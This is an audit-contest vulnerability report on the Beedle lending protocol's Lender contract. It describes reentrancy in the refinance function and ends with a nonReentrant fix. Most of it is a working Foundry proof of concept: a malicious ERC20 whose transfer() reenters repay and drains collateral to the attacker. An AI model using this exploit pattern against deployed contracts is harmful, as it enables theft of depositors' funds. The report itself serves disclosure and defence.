20,000 USDC
View results
Submission Details
Severity: medium
Valid

Drain protocol via reentrancy in refinance function

Summary

It's possible to drain the whole protocol as refinance function is vulnerable to reentrancy.

Vulnerability Details

  1. Attacker creates an attacker pool with a malicious loan token but with a real collateral token like WETH.
    (Malicious loan token's transfer() function implemented such it calls back to the Lender contract's repay function, to repay the attackers loan which is taken in the next step)

  2. Attacker takes a loan from attacker pool.

  3. Attacker calls refinance function.

  4. During refinance the call to malicious loan token transfer() function @ https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L591 triggers a repayment before the Loan's collateral balance updated in Lender contract.

For draining the protocol, you can just do everything using flashloan to maximize profit.

PoC:
Add test to Lender.t.sol

contract MaliciousERC20 is ERC20 {
uint loanId;
Lender public lender;
uint256 counter;
TERC20 collateral;
address attacker;
constructor(address _lender, address _collateral, address _attacker) public
{
lender = Lender(_lender);
collateral = TERC20(_collateral);
attacker = _attacker;
}
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
function transfer(address _to, uint256 _amount) public override returns (bool) {
if (counter == 2)
{
mint(address(this), 100*10**18);
_approve(address(this), address(lender), 1000000000000*10**18);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.repay(loanIds);
collateral.transfer(attacker, collateral.balanceOf(address(this)));
}
counter += 1;
return true;
}
}
address public attacker = address(0x5);
MaliciousERC20 public maliciousLoanToken;
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
maliciousLoanToken = new MaliciousERC20(address(lender), address(collateralToken), address(attacker));
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(attacker), 100000*10**18);
maliciousLoanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
maliciousLoanToken.approve(address(lender), 1000000*10**18);
}
function test_Reentrancy() public {
// We transfer some collateralTokens to the Lender to mock some already taken loans with collateralToken as collateral
collateralToken.transfer(address(lender), 100*10**18);
vm.startPrank(attacker);
// Attacker creates a new pool with fake loan token and fake collateral
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(maliciousLoanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(attackerPool);
uint256 attackerCollateralTokenBalanceBefore = collateralToken.balanceOf(attacker);
// Attacker malicious token with real collateral.
Borrow memory b = Borrow({
poolId: attackerPoolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// Attacker updates pool with absurdly high maxLoanRatio
Pool memory attackerPoolUpdate = Pool({
lender: attacker,
loanToken: address(maliciousLoanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 999999999999999*100**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 100*10**18
});
lender.setPool(attackerPoolUpdate);
// Attacker refinances to own pool with 1 collateral
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(attacker),
address(maliciousLoanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 1
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
maliciousLoanToken.approve(address(lender), 1000000*10**18);
lender.refinance(rs);
uint256 attackerCollateralTokenBalanceAfter = collateralToken.balanceOf(attacker);
assertGt(attackerCollateralTokenBalanceAfter, attackerCollateralTokenBalanceBefore);
assertEq(attackerCollateralTokenBalanceAfter, 99999999999999999999999);
}

Impact

Protocol insolvency

Tools Used

Manual review

Recommendations

Add nonReentrant modifier to all of the functions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.